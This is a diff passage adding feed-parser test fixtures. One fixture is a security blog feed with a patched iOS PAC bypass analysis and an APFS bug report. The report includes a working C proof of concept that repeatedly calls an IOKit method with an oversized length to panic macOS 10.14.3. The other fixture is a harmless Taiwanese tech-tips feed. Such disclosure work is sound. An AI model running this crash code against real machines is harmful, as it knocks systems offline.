+PAC* instructions generate and insert the PAC into the extension bits of a pointer. For example, PACIA X8, X9 will compute the PAC for the pointer in register X8 under the A-instruction key, APIAKey, using the value in X9 as context, and then write the resulting PAC'd pointer back in X8. Similarly, PACIZA is like PACIA except the context value is fixed to 0. +AUT* instructions verify a pointer's PAC (along with the 64-bit context value). If the PAC is valid, then the PAC is replaced with the original extension bits. Otherwise, if the PAC is invalid (indicating that this pointer was tampered with), then an error code is placed in the pointer's extension bits so that a fault is triggered if the pointer is dereferenced. For example, AUTIA X8, X9 will verify the PAC'd pointer in X8 under the A-instruction key using X9 as context, writing the valid pointer back to X8 if successful and writing an invalid value otherwise. +XPAC* instructions remove a pointer's PAC and restore the original value without performing verification. + +In addition to these general Pointer Authentication instructions, a number of specialized variants were introduced to combine Pointer Authentication with existing operations: + +BLRA* instructions perform a combined authenticate-and-branch operation: the pointer is validated and then used as the branch target for BLR. For example, BLRAA X8, X9 will authenticate the PAC'd pointer in X8 under the A-instruction key using X9 as context and then branch to the resulting address. +LDRA* instructions perform a combined authenticate-and-load operation: the pointer is validated and then data is loaded from that address. For example, LDRAA X8, X9 will validate the PAC'd pointer X9 under the A-data key using a context value of 0 and then load the 64-bit value at the resulting address into X8. +RETA* instructions perform a combined authenticate-and-return operation: the link register LR is validated and then RET is performed. For example, RETAB will verify LR using the B-instruction key and then return. +</code></pre></div></div> + +<h3 id="what-problems-does-pac-solve">What problems does PAC solve?</h3> +<p>PAC主要解决的是任意内核代码执行的问题。不管是UAF漏洞用ROP去执行,还是上述漏洞修改vtable用JOP去执行,都需要首先填充一个内核可执行地址到指定位置去执行,而在有PAC的机器上,所有的内存地址指针是加密使用的,攻击者直接提供明文的内核地址值是验证不过的。<br /> +所以在PAC的机器上,绕过PAC是一个比较热的话题,Brandon在他的文章里面尝试了多种方法均失败了,最后尝试了加签(sign gadget)的方法,成功找到了一个gadget,当然,这个问题已经被苹果修掉了。</p> + +<h3 id="pac-bypass-pac-forge-by-brandon">PAC Bypass (PAC Forge by Brandon)</h3> +<p>作者找到了一个bug:</p> +<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>The fourth weakness +After giving up on signing gadgets and pursuing a few other dead ends, I eventually wondered: What would actually happen if PACIZA was used to sign an invalid pointer validated by AUTIA? I'd assumed that such a pointer would be useless, but I decided to look at the ARM pseudocode to see what would actually happen. + +To my surprise, the standard revealed a funny interaction between AUTIA and PACIZA. When AUTIA finds that an authenticated pointer's PAC doesn't match the expected value, it corrupts the pointer by inserting an error code into the pointer's extension bits: + +// Auth() +// ====== +// Restores the upper bits of the address to be all zeros or all ones (based on +// the value of bit[55]) and computes and checks the pointer authentication +// code. If the check passes, then the restored address is returned. If the +// check fails, the second-top and third-top bits of the extension bits in the +// pointer authentication code field are corrupted to ensure that accessing the +// address will give a translation fault. + +bits(64) Auth(bits(64) ptr, bits(64) modifier, bits(128) K, boolean data, + bit keynumber) + bits(64) PAC; + bits(64) result; + bits(64) original_ptr; + bits(2) error_code; + bits(64) extfield; + + // Reconstruct the extension field used of adding the PAC to the pointer + boolean tbi = CalculateTBI(ptr, data); + integer bottom_PAC_bit = CalculateBottomPACBit(ptr&lt;55&gt;); + extfield = Replicate(ptr&lt;55&gt;, 64); + + if tbi then + ... + else + original_ptr = extfield&lt;64-bottom_PAC_bit-1:0&gt;:ptr&lt;bottom_PAC_bit-1:0&gt;; + + PAC = ComputePAC(original_ptr, modifier, K&lt;127:64&gt;, K&lt;63:0&gt;); + // Check pointer authentication code + if tbi then + ... + else + if ((PAC&lt;54:bottom_PAC_bit&gt; == ptr&lt;54:bottom_PAC_bit&gt;) &amp;&amp; + (PAC&lt;63:56&gt; == ptr&lt;63:56&gt;)) then + result = original_ptr; + else + error_code = keynumber:NOT(keynumber); + result = original_ptr&lt;63&gt;:error_code:original_ptr&lt;60:0&gt;; + return result; + +Meanwhile, when PACIZA is adding a PAC to a pointer, it actually signs the pointer with corrected extension bits, and then corrupts the PAC if the extension bits were originally invalid. From the pseudocode for AddPAC() above: + + ext_ptr = extfield&lt;(64-bottom_PAC_bit)-1:0&gt;:ptr&lt;bottom_PAC_bit-1:0&gt;; + +PAC = ComputePAC(ext_ptr, modifier, K&lt;127:64&gt;, K&lt;63:0&gt;); + +// Check if the ptr has good extension bits and corrupt the pointer +// authentication code if not; +if !IsZero(ptr&lt;top_bit:bottom_PAC_bit&gt;) + &amp;&amp; !IsOnes(ptr&lt;top_bit:bottom_PAC_bit&gt;) then + PAC&lt;top_bit-1&gt; = NOT(PAC&lt;top_bit-1&gt;); + +Critically, PAC* instructions will corrupt the PAC of a pointer with invalid extension bits by flipping a single bit of the PAC. While this will certainly invalidate the PAC, this also means that the true PAC can be reconstructed if we can read out the value of a PAC*-forgery on a pointer produced by an AUT* instruction! So sequences like the one above that consist of an AUTIA followed by a PACIZA can be used as signing gadgets even if we don't have a validly signed pointer to begin with: we just have to flip a single bit in the forged PAC. +</code></pre></div></div> +<p>简单地讲,就是AUT指令即使失败,也不会panic,只是把error code放到了pointer的高位上,并把结果值传给PAC指令继续工作;而PAC指令首先使用正确的extension高位来计算PAC,然后才会检测提供的高位extension是否合法,如果非法则将算好的PAC结果来个flip1位。所以绕过的技巧很直观:将AUT-PAC的结果修正1位回来即可。<br /> +作者在<code class="language-plaintext highlighter-rouge">sysctl_unregister_oid</code>这个函数中找到了这样的gadget:</p> +<pre><code class="language-C"> else + { + removed_oidp = NULL; + context = (0x14EF &lt;&lt; 48) | ((uint64_t)handler_field &amp; 0xFFFFFFFFFFFF); + *handler_field = ptrauth_sign_unauthenticated( + ptrauth_auth_function(handler, ptrauth_key_asia, &amp;context), + ptrauth_key_asia, + 0); + ... + } +</code></pre> +<p>只要能触发到上述路径,即可造一个PAC Pointer,且这个值还存储在了handler_field中,只要利用任意地址读即可读出来。</p> + +<p>当然这个bug已经被苹果修掉了:</p> +<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>In order to fix the sysctl_unregister_oid() gadget (and other AUTIA-PACIA gadgets), Apple has added a few instructions to ensure that if the AUTIA fails, then the resulting invalid pointer will be used instead of the result of PACIZA: + +LDR X10, [X9,#0x30]! ;; X10 = old_oidp-&gt;oid_handler +CBNZ X19, loc_FFFFFFF007EBD4A0 +CBZ X10, loc_FFFFFFF007EBD4A0 +MOV X19, #0 +MOV X11, X9 ;; X11 = &amp;old_oidp-&gt;oid_handler +MOVK X11, #0x14EF,LSL#48 ;; X11 = 14EF`&amp;oid_handler +MOV X12, X10 ;; X12 = oid_handler +AUTIA X12, X11 ;; X12 = AUTIA(handler, 14EF`&amp;handler) +XPACI X10 ;; X10 = XPAC(handler) +CMP X12, X10 +PACIZA X10 ;; X10 = PACIZA(XPAC(handler)) +CSEL X10, X10, X12, EQ ;; X10 = (PAC_valid ? PACIZA : AUTIA) +STR X10, [X9] + +With this change, we can no longer PACIZA-forge a pointer unless we already have a PACIA forgery with a specific context. +</code></pre></div></div> +<p>更多细节请阅读原文。</p> + +<h2 id="summary">Summary</h2> +<p>ipc_port类型的漏洞出来后,Ian Beer介绍了一个很好的模版来exploit这种类型的漏洞;然后苹果封杀了此exp技巧;接着,又发现了一个新的类型voucher也可以转回去ipc_port继续搞,而且不受之前patch的影响,Brandon等人公开了自己的exploit方法,只用一个洞就完成了内核提权,非常值得学习的是各种各样的漏洞利用技巧,尤其是还非常通用,另外值得注意的是,ipc_port有天然的kernel address leak特性。<br /> +可以看到的一些细节包括:</p> +<ol> + <li>使用OSString读写内核数据。不过OSString一旦构造完,用户态不能直接修改里面的值,需要不停的重新释放、分配,提高了exp失败的风险。</li> + <li>使用pipe_buffer技巧读写内核数据。</li> + <li>使用ipc_kmsg分配受控大小的内核数据,如1k,4k,16k等。</li> + <li>修改ool_ports中的内核地址值,再receive ool ports可以获得新的mach port。</li> + <li>gc的触发。</li> + <li>tfp0的构造。</li> +</ol> + +<p>另外,public的渠道目前没有看到其他任何有效的PAC Bypass了,即意味着在PAC开着的iOS手机上,实现任意内核代码执行很困难。</p>juwei liniOS Exploitation One - IPC Port Exploitation and PAC 本文介绍有关IPC_PORT相关的Exp技术,最后介绍苹果实现的PAC及其绕过技巧(已修复)。Apfs_copyin_assert2019-02-02T02:16:00+00:002019-02-02T02:16:00+00:00/2019/02/02/apfs_copyin_assert<h1 id="apple-apfs-copyin-assert-failure-case">Apple APFS copyin assert failure case</h1> + +<h2 id="overview">Overview</h2> +<p>There is an assert failure case in function <code class="language-plaintext highlighter-rouge">AppleAPFSUserClient::methodContainerEFIGetVersion</code>.</p> + +<h2 id="root-cause-analysis">Root Cause Analysis</h2> + +<p>In function <code class="language-plaintext highlighter-rouge">AppleAPFSUserClient::methodContainerEFIGetVersion</code>:</p> +<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>__text:0000000000016146 ; AppleAPFSUserClient::methodContainerEFIGetVersion(AppleAPFSUserClient*, void *, IOExternalMethodArguments *) +__text:0000000000016146 __ZN19AppleAPFSUserClient28methodContainerEFIGetVersionEPS_PvP25IOExternalMethodArguments proc near +__text:0000000000016146 ; DATA XREF: __const:00000000000F92D0o +__text:0000000000016146 +__text:0000000000016146 var_68 = qword ptr -68h +__text:0000000000016146 var_60 = qword ptr -60h +__text:0000000000016146 var_58 = qword ptr -58h +__text:0000000000016146 var_50 = qword ptr -50h +__text:0000000000016146 var_48 = qword ptr -48h +__text:0000000000016146 var_40 = qword ptr -40h +__text:0000000000016146 var_38 = qword ptr -38h +__text:0000000000016146 var_30 = dword ptr -30h +__text:0000000000016146 var_2C = dword ptr -2Ch +__text:0000000000016146 +__text:0000000000016146 push rbp +__text:0000000000016147 mov rbp, rsp +__text:000000000001614A push r15 +__text:000000000001614C push r14 +__text:000000000001614E push r13 +__text:0000000000016150 push r12 +__text:0000000000016152 push rbx +__text:0000000000016153 sub rsp, 48h +__text:0000000000016157 mov r15, rdi +__text:000000000001615A mov rax, [rdx+30h] ; structinput +__text:000000000001615E mov rdx, [rdx+58h] +__text:0000000000016162 mov r12, [rax] +__text:0000000000016165 mov esi, [rax+8] ; user-supplied size ---(1.a) +__text:0000000000016168 test r12, r12 +__text:000000000001616B jz short loc_161BE +__text:000000000001616D mov r14, rdx +__text:0000000000016170 mov edi, 1 +__text:0000000000016175 mov rbx, rsi +__text:0000000000016178 call __apfs_calloc ---(1.b) +__text:000000000001617D test rax, rax +__text:0000000000016180 jz short loc_161C3 +__text:0000000000016182 mov rdi, r12 +__text:0000000000016185 mov r12, rax +__text:0000000000016188 mov rsi, rax +__text:000000000001618B mov r13, rbx +__text:000000000001618E mov rdx, rbx +__text:0000000000016191 call _copyin ---(1.c) +</code></pre></div></div> + +<p>At 1.b, apfs_calloc calls MALLOC to allocate memory with size assigned from user, at 1.c user buffer will copyin to the new allocated memory. If user set the size as 65MB and apfs_calloc succeed allocation, copyin will panic due to too large memory copy.</p> + +<h2 id="poc-code">PoC Code</h2> + +<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>#include &lt;stdio.h&gt; +#include &lt;stdlib.h&gt; +#include &lt;string.h&gt; +#include &lt;unistd.h&gt; +#include &lt;IOKit/IOKitLib.h&gt; + + +void trigger(io_connect_t conn) +{ + uint64_t INPUTSCALAR[8]; + uint32_t INPUTSCALARCNT = 0; + + char INPUTSTRUCT[4096]; + size_t INPUTSTRUCTCNT = 16; + + uint64_t OUTPUTSCALAR[8] = {0}; + uint32_t OUTPUTSCALARCNT = 0; + + char OUTPUTSTRUCT[4096]; + size_t OUTPUTSTRUCTCNT = 8; + + //FILL INPUT + *(uint64_t*)(&amp;INPUTSTRUCT[0]) = (uint64_t)INPUTSCALAR; + //*(uint64_t*)&amp;(INPUTSTRUCT[8]) = 1919249516; + *(uint64_t*)&amp;(INPUTSTRUCT[8]) = 68157440; + + + kern_return_t kr = IOConnectCallMethod( + conn, + 12, + INPUTSCALAR, + INPUTSCALARCNT, + INPUTSTRUCT, + INPUTSTRUCTCNT, + OUTPUTSCALAR, + &amp;OUTPUTSCALARCNT, + OUTPUTSTRUCT, + &amp;OUTPUTSTRUCTCNT); + if (kr != KERN_SUCCESS) { + printf("send failure, err: 0x%x\n", kr); + } +} + + +int main(){ + + kern_return_t err; + + CFMutableDictionaryRef Matching = IOServiceMatching("AppleAPFSContainer"); + + if(!Matching){ + + printf("UNABLE TO CREATE SERVICE MATCHING DICTIONARY\n"); + + return 0; + + } + + io_iterator_t iterator; + + err = IOServiceGetMatchingServices(kIOMasterPortDefault, Matching, &amp;iterator); + + if (err != KERN_SUCCESS){ + + printf("NO MATCHES\n"); + return 0; + } + + io_service_t service = IOIteratorNext(iterator); + + if (service == IO_OBJECT_NULL){ + + printf("UNABLE TO FIND SERVICE\n"); + + return 0; + + } + + io_connect_t CONN = MACH_PORT_NULL; + + err = IOServiceOpen(service, mach_task_self(), 0, &amp;CONN); + + if (err != KERN_SUCCESS){ + + printf("UNABLE TO GET USER CLIENT CONNECTION\n"); + + return 0; + + }else{ + + printf("GOT USERCLIENT CONNECTION: %X, TYPE:%D\n", CONN, 0); + + } + + for (int i=0; i&lt;1000; i++) { + trigger(CONN); + } + + + printf("PANIC?\n"); + + return 0; + +} +</code></pre></div></div> + +<h2 id="panic-log">Panic log</h2> +<p>See attachment.</p> + +<h2 id="q--a">Q &amp; A</h2> + +<h3 id="how-did-you-find-this-vulnerability">How did you find this vulnerability?</h3> +<p>by fuzzing.</p> + +<h3 id="can-you-identify-exploitability">Can you identify exploitability?</h3> +<p>This is an assert failure, it cannot be used for exploit.</p> + +<h3 id="can-you-identify-root-cause">Can you identify root cause?</h3> +<p>Yes, see the root cause analysis.</p> + +<h3 id="vulnerable-software-and-hardware">Vulnerable software and hardware</h3> +<p>macOS 10.14.3 and all before</p>juwei linApple APFS copyin assert failure case \ No newline at end of file diff --git a/tests/feedlib/testdata/parser/warn/https-steachs-com-feed.xml b/tests/feedlib/testdata/parser/warn/https-steachs-com-feed.xml new file mode 100644 index 0000000..564d1f4 --- /dev/null +++ b/tests/feedlib/testdata/parser/warn/https-steachs-com-feed.xml @@ -0,0 +1,1318 @@ + + + + 就是教不落 – 給你最豐富的 3C 資訊、教學網站 + + https://steachs.com + 就是教不落提供最專業的3C 資訊評測,教學內容及相關電腦軟體、手機軟體/遊戲、Wordpress 教學等,並秉持每天發文,喜歡學習吸收更多資訊的人不可錯過的好站。 + Sun, 05 Apr 2020 14:29:58 +0000 + zh-TW + + hourly + + 1 + https://wordpress.org/?v=5.4 + +84873106 + 把你的照片用 AI 變成 18 世紀的肖像畫,來看看以前畫家眼中的你 + https://steachs.com/archives/51901 + https://steachs.com/archives/51901#respond + + + Sun, 05 Apr 2020 16:00:31 +0000 + + + + + + https://steachs.com/?p=51901 + + 最近發現一個很有趣的東西,是日本的「AI 畫伯」,其實是是剛好看到有朋友的 FB 大頭貼換成了油畫風,一問之下 […]

    +

    這篇文章 把你的照片用 AI 變成 18 世紀的肖像畫,來看看以前畫家眼中的你 最早出現於 就是教不落 - 給你最豐富的 3C 資訊、教學網站

    +]]>
    +

    最近發現一個很有趣的東西,是日本的「AI 畫伯」,其實是是剛好看到有朋友的 FB 大頭貼換成了油畫風,一問之下才發現,是透過日本的一個網站叫做「AI Gahaku」就是 AI 畫伯的意思,這網站的 AI 處理效果是將你上傳的人像照片轉換成 18 世紀的油畫,而且不是是像一般的那種照片加上油畫濾鏡,而是很逼真的就像是當時那時代畫出來的你,超級有趣的,快來試看看。

    +

    +

    AI 畫伯,18 世紀的你長怎樣?

    +

    網站:https://ai-art.tokyo/en/

    +

    進入網站後,往下拉或是按那個 Try it now 都可以。

    +

    +

    點擊 Select From the Library 從你的電腦或手機選張自拍照片上傳吧,一定要人像,合照也可以,但不能是非人物。

    +

    +

    然後就大概等待 10 秒左右。

    +

    +

    這樣就完成了一幅來自 18 世紀的你的油畫了,是不是很逼真,真的很有那時代的畫風,跟一般的油畫濾鏡完全不能相比擬啊!而且還可以選擇不同的畫風。

    +

    我在測試的時候,很容易出現錯誤,大家重新整理網頁後再上傳一次就好,我有時試了 2~3 次才成功。

    +

    +

    我選了 EXO 這個套用後,整個...很女性化...

    +

    +

    再試了別的,變的更妖艷了,我快笑死了,大家覺得有像嗎?

    +

     

    +

    +

    這篇文章 把你的照片用 AI 變成 18 世紀的肖像畫,來看看以前畫家眼中的你 最早出現於 就是教不落 - 給你最豐富的 3C 資訊、教學網站

    +]]>
    + + https://steachs.com/archives/51901/feed + 0 + + + 51901
    + + Inspect – 檢測鍵盤按鍵、螢幕亮暗點的小工具【macOS】 + https://steachs.com/archives/51894 + https://steachs.com/archives/51894#respond + + + Sat, 04 Apr 2020 16:00:36 +0000 + + + + + + + + https://steachs.com/?p=51894 + + 最近因為覺得鍵盤好像有一點怪怪的,所以就找了一下鍵盤按鍵的檢測工具,發現 Windows 的檢測工具還真不少, […]

    +

    這篇文章 Inspect – 檢測鍵盤按鍵、螢幕亮暗點的小工具【macOS】 最早出現於 就是教不落 - 給你最豐富的 3C 資訊、教學網站

    +]]>
    +

    最近因為覺得鍵盤好像有一點怪怪的,所以就找了一下鍵盤按鍵的檢測工具,發現 Windows 的檢測工具還真不少,但 macOS 的就沒有很多,剛好順便來分享一下我今天用的這款鍵盤檢測工具「Inspect」,同時也具備檢測螢幕亮暗點的功能,算是簡單好的一款小工具,如果你發現鍵盤某個鍵不太靈敏,有時不一定是真的鍵盤的問題,也有可能是系統問題,就可以用這來測試看看。

    +

    +

    Inspect - 鍵盤、螢幕檢測工具

    +

    安裝後執行就只會有二種功能可以選擇,一個是鍵盤,一個是螢幕。

    +

    +

    螢幕的亮暗點檢測其實也沒什麼,就是會以不同顏色充滿你的畫面,方便你查看螢幕有沒有亮暗點,有的話,一眼就會看出來的。

    +

    +

    鍵盤的部份,所有你按的按鍵都會在上面顯示出來,如果沒有顯示的話,代表你某個按鍵真的有問題了,有時系統有問題造成按鍵無作用的話,一般來說用這工具檢測是不受影響的哦。

    +

    +

    有人應該也會問右鍵如果有數字鍵的怎麼測,你只要按了數字鍵後,會顯示在最下方,所以一樣是可以測試的,去試看看吧。

    +

    +

    這篇文章 Inspect – 檢測鍵盤按鍵、螢幕亮暗點的小工具【macOS】 最早出現於 就是教不落 - 給你最豐富的 3C 資訊、教學網站

    +]]>
    + + https://steachs.com/archives/51894/feed + 0 + + + 51894
    + + Word 小教室 – 將不連續內容一次性剪下,再一次性貼到其他位置 + https://steachs.com/archives/51887 + https://steachs.com/archives/51887#respond + + + Fri, 03 Apr 2020 16:00:52 +0000 + + + + + + + https://steachs.com/?p=51887 + + 今天剛好在朋友的網站上學到了一招,就是在 Word 裡將不連續的內容一次性的剪下,而且可以再一次性的貼到 Wo […]

    +

    這篇文章 Word 小教室 – 將不連續內容一次性剪下,再一次性貼到其他位置 最早出現於 就是教不落 - 給你最豐富的 3C 資訊、教學網站

    +]]>
    +

    今天剛好在朋友的網站上學到了一招,就是在 Word 裡將不連續的內容一次性的剪下,而且可以再一次性的貼到 Word 的其他位置,這個快速鍵印象中我好像沒有用到過,但沒想到那麼的實用,大家應該平常有多段內容就只是用 Ctrl + C 然後 Ctrl + V 的不斷複製貼上,今天一定要學的快速鍵來了,往下來看怎麼一次性剪下多段不連續的內容吧。

    +

    +

    Word 教學 - 將不連續內容一次性剪下,再一次性貼到其他位置

    +

    比如我們現在需要的段落是標黃底的那幾行,我們往下來看怎麼做。

    +

    +

    首先我們將要剪下的內容選擇之後,按下鍵盤上的快速鍵「Ctrl + F3」(如果是 macOS 上的 Word 為 Command + F3),往下來看。

    +

    +

    這時你會發現第一行就被剪下來了,請繼續重複這樣的動作。

    +

    +

    每選擇一次段落按下 Ctrl + F3 你就會看到資料一直被剪下,直到都剪完了你要的內容之後,就可以準備將資料貼到需要的地方。

    +

    +

    要貼上已複製下來的多段資料時,只要按下快捷鍵「Ctrl + Shift + F3」(macOS 上的 Word 為 Command + Shfit + F3),就會看到剛剛剪下的內容一次性的貼上去了,是不是非常方便。

    +

    其實你如果原資料是想要保留,只要再把那些不連續資料複製後,再把內容一直按 Ctrl + Z 還原到原始狀態,再貼上你那些資料即可(看不懂再問我)。

    +

    +

    這篇文章 Word 小教室 – 將不連續內容一次性剪下,再一次性貼到其他位置 最早出現於 就是教不落 - 給你最豐富的 3C 資訊、教學網站

    +]]>
    + + https://steachs.com/archives/51887/feed + 0 + + + 51887
    + + NASA 慶祝哈伯太空望遠鏡 30 週年,讓大家查詢生日同一天曾拍過什麼樣的宇宙星象 + https://steachs.com/archives/51879 + https://steachs.com/archives/51879#respond + + + Thu, 02 Apr 2020 16:00:20 +0000 + + + + https://steachs.com/?p=51879 + + 美國的太空總署 NASA 對我們這種平民老百姓來說,完全就是相當神秘的地方,因為是專門研究宇宙的單位,而其中相 […]

    +

    這篇文章 NASA 慶祝哈伯太空望遠鏡 30 週年,讓大家查詢生日同一天曾拍過什麼樣的宇宙星象 最早出現於 就是教不落 - 給你最豐富的 3C 資訊、教學網站

    +]]>
    +

    美國的太空總署 NASA 對我們這種平民老百姓來說,完全就是相當神秘的地方,因為是專門研究宇宙的單位,而其中相當有名的哈伯太空望遠鏡也已經在太空服役了 30 週年,為了慶祝這個特別的日子,NASA 精選挑選了一年 366 天,透過哈伯望遠鏡所拍攝的照片供大家查詢,給大家可以查看生日當天曾經拍過什麼樣的宇宙星象,你好奇嗎?

    +

    +

    NASA 慶祝哈伯太空望遠鏡 30 週年

    +

    這個哈伯望遠鏡是從 1990 年 4 月 24 日就服役到現在,為研究宇宙這件事情可以說是一大功臣,如果你想看看你的生日當天的星象,只要到 NASA 的網站,選擇你的生日送出就可以查看,不過這 366 張照片不一定是哪一個年份的,但能確定的是從 1/1~12/31 都有,如果查詢的是剛好跟你出生年也一樣的話,那就真的太 Lucky 了。

    +

    查詢頁面:請點我前往

    +

    +

    這是阿湯生日當天的星象,不過並不是我的出生年,如果你想看完整大圖的話,可以點擊 See Full Image 就會另開頁面,查詢後如果沒有跳出圖片的話,表示網站應該非常的忙碌,非常多人在查詢,大家可以晚點或隔天再試看看。

    +

    +

    阿湯生日當天的照片也太夢幻了吧!

    +

    +

    另外如果你想更快的查詢的話,也可以在第一個畫面那,下方有個 Text Version,點擊後可以下載到一份 Excel 檔案,裡面就列好了 366 張照片的日期跟相關資訊,最左邊是日期,是照排的,最右邊是照片的網址,從這裡查找也是可以的。

    +

    +

    文字檔案裡所提供的網址,進入後可以在左下方找到各種尺吋的照片,看你想看哪一個就點擊就可以囉。

    +

    +

     

    +

    這篇文章 NASA 慶祝哈伯太空望遠鏡 30 週年,讓大家查詢生日同一天曾拍過什麼樣的宇宙星象 最早出現於 就是教不落 - 給你最豐富的 3C 資訊、教學網站

    +]]>
    + + https://steachs.com/archives/51879/feed + 0 + + + 51879
    + + 電競筆電升級,來個金士頓套餐,記憶體、硬碟通通給他換起來! + https://steachs.com/archives/51800 + https://steachs.com/archives/51800#respond + + + Wed, 01 Apr 2020 16:00:10 +0000 + + + + + + + + + + + https://steachs.com/?p=51800 + + 阿湯手邊有台 ROG 電競筆電是四年前的機種,算是很初階的規格,硬碟還是用傳統的硬碟,不是 SSD,速度真的是 […]

    +

    這篇文章 電競筆電升級,來個金士頓套餐,記憶體、硬碟通通給他換起來! 最早出現於 就是教不落 - 給你最豐富的 3C 資訊、教學網站

    +]]>
    +

    阿湯手邊有台 ROG 電競筆電是四年前的機種,算是很初階的規格,硬碟還是用傳統的硬碟,不是 SSD,速度真的是其龜無比,查了一下規格還算很有升級空間,這次就直接把能升級的零組件一次塞好塞滿,順便來記錄一下,這次換上的全是金士頓的零組件,包括 M2. SSD、SATA SSD 二顆硬碟,還有二條 HyperX 的記憶體,基本上已經是這台筆電能夠自行升級的最高規格了,來看看速度差多少吧。

    +

    +

    筆電升級金士頓記憶體、硬碟記錄:

    +

    這次準備升級的目標是已經四年的筆電,有一點點老了,當初購入的時候硬碟還沒有選 SSD,只有普通的 7200rpm 硬碟,所以速度真的蠻慢的,記憶體也只有 8GB,隨著使用的需求,乾脆就給他整個能升級就升級。

    +

    原本筆電上只有一條 8GB 的 RAM 跟一顆 2.5 吋的 7200rpm 的一般硬碟,但是其實有支援一個 M2.SATA SSD 的插槽可以使用,所以這次準備要換上的一共有三個東西,如下:

    + +

    +

    這款 M2. SSD(SUV500M8/960G)的讀寫速度,理論值高達 520/500MB/s,很可惜這台老電競筆電不支援 PCIE,不然應該升級會更有感,不過至少可以有 M2. SSD 可以裝就差很多了。

    +

    +

    安裝的部份就不用特別教大家了,只要把 M2. SSD 直接插入插槽後鎖起來就可以了。

    +

    +

    記憶體這台 ROG 筆電最高是支援到 16GB,原本的 8GB 索性就拆掉,換了二條 HyperX 的記憶體(),同樣一次上到最頂,而且 HyperX 是專門為遊戲而生的品牌,這記憶體的等級就算同樣是 8GB 可是比起一般記憶體還厲害。

    +

    +

    原本的老硬碟是 7200rpm 的 2.5 吋硬碟,真的是該退休了,平常都還可以聽到硬碟聲音咧。

    +

    這次換上的是 Kingston KC600 (2.5吋) SATA-3 1024GB SSD 固態硬碟,有五年保固,讀寫跟剛的 M2. SSD 是差不多的,分別為讀 550MB/寫 520MB。

    +

    +

    筆電升級真的是比桌電輕鬆很多啊,不用五分鐘就搞定了三個零組件,只不過最花時間的還是重灌啊。

    +

    +

    在重灌之前先給大家看一下到底升級前的硬碟速度有多慢,這是讀寫的速度,才跑完第一行我就沒耐心了.....讀寫都是 100MB 初頭,嗯........

    +

    不愧是傳統硬碟啊,早該換掉了。

    +

    +

    接下來就給他重灌下去,不過光是在重灌 Windows 10 就有感受到速度差異,光是安裝時間就差很多。

    +

    +

    不過口說無憑,我們先來看一下 M2. SSD:SUV500M8/960G,這顆的測速結果,基本上可以算是原本的五倍速度了吧,一整個超有感升級。

    +

    +

    記憶體的部份也來確認一下,沒有問題,可以讀取到 16GB,代表安裝無誤(不過也很難裝錯吧)。

    +

    +

    然後另一顆換上的 SATA SSD,測試速度同樣是逼近 500MB/s,這麼一來不論是系統或是資料的讀寫都能有更好的速度及效率。

    +

    +

    原本在剪影片時所需要的輸出時間,也大幅的縮短,雖然輸出時,CPU 跟 GPU 最重要,但是硬碟如果速度太慢同樣也會影響結果,只能說每樣零組件的關係是密不可分的。

    +

    +

    而遊戲的測試下,雖然是電競筆電,不過硬碟實在太慢,有些遊戲讀起來真的算有點吃力,或者讀取時都比較花時間,換了硬碟之後同樣就順暢了,算是升級的相當值得啊。

    +

    +

    就簡單順手記錄一下啦,升級完真的是算很有感,操作上就明顯的順暢很多,也提醒一下大家,升級電腦或筆電之前一定要先確認好規格,像記憶體還好,規格不難確認,但是硬碟的部份,現在規格非常的多元,有 SATA 的 SSD,有 M2. SSD 還有 M2. PCIE SSD 等,千萬別搞混囉,如果你查不到你電腦或筆電的規格是什麼,不妨就打電話給客服問看看吧,因為有些型號還真的沒有標示的很清楚,再不然就拆機下來看,大致上也會有寫,如果電腦也是好幾年前,可以試著先把記憶體跟硬碟升級,應該就會差很多囉。

    +

    這篇文章 電競筆電升級,來個金士頓套餐,記憶體、硬碟通通給他換起來! 最早出現於 就是教不落 - 給你最豐富的 3C 資訊、教學網站

    +]]>
    + + https://steachs.com/archives/51800/feed + 0 + + + 51800
    + + BgEraser – 免費人物去背工具,一鍵搞定不需要任何技術 + https://steachs.com/archives/51824 + https://steachs.com/archives/51824#respond + + + Tue, 31 Mar 2020 16:00:06 +0000 + + + + + + https://steachs.com/?p=51824 + + BgEraser「目前」是免費的,但照他有註冊機制,代表著未來應該也會朝向收費機制,就像早期的 remove. […]

    +

    這篇文章 BgEraser – 免費人物去背工具,一鍵搞定不需要任何技術 最早出現於 就是教不落 - 給你最豐富的 3C 資訊、教學網站

    +]]>
    +

    BgEraser「目前」是免費的,但照他有註冊機制,代表著未來應該也會朝向收費機制,就像早期的 remove.bg 一樣,後面開始開發各種串接工具,讓大家付費使用,節省去背的時間,而 BgEraser 大概也是這樣的概念吧,不過較佛心的一點,初期免費的限制較寬一點,最大可以上傳 2000x2000 的圖片,而且下載也是,大家可以趁免費的時候趕緊用看看。

    +

    +

    BgEraser 去背工具介紹:

    +

    在不註冊的狀況下,最大僅能上傳 2MB 以下的檔案,且不可以超過 800x800,但透過註冊可以上傳最大 5MB 以下,解析度 2000x2000 以內的圖片檔案,反正目前是免費,大家就給他用力的註冊下去吧。

    +

    +

    註冊完後登入再看,就會發現只剩下 5MB,2000x2000 的限制條件了,圖片支援 jpg、jpeg 跟 png 三種。

    +

    +

    接下來只要將想去背的圖片直接拖曳到網頁的「Click or Drop Files」這個區域裡,就會出現 Start 鍵可以按,一次可以按一個檔案,同時也就處理一張圖片,但速度很快,都是以秒計算時間的。

    +

    +

    處理完畢就可以點擊 Download 下載囉。

    +

    +

    給大家看看幾組對照跟測試結果,首先是比較完整的人像,去背的還蠻好的,連髮絲邊緣幾乎也都有保留下來,重點是不是身體一部份的碗也被去掉了,也太強大..XDD

    +

    +

    然後測試了一下以「物品」為主對焦的畫面,嗯...沒想到就連這樣模糊的人像都被精準的去背了。

    +

    +

    再來測試半臉半身加複雜的背景,在這樣的難度下,可以看到去背的結果同樣還不錯,而且有難度的邊緣變成是有一條灰灰的線,一般都是直接變鋸齒,我猜這是用來補足較難判斷的邊緣,改用相近色來補足,但整體來說,同樣是相當強大的去背結果。

    +

    +

    相關資訊:

    +

    EgErase 網站:https://bgeraser.com/

    +

    這篇文章 BgEraser – 免費人物去背工具,一鍵搞定不需要任何技術 最早出現於 就是教不落 - 給你最豐富的 3C 資訊、教學網站

    +]]>
    + + https://steachs.com/archives/51824/feed + 0 + + + 51824
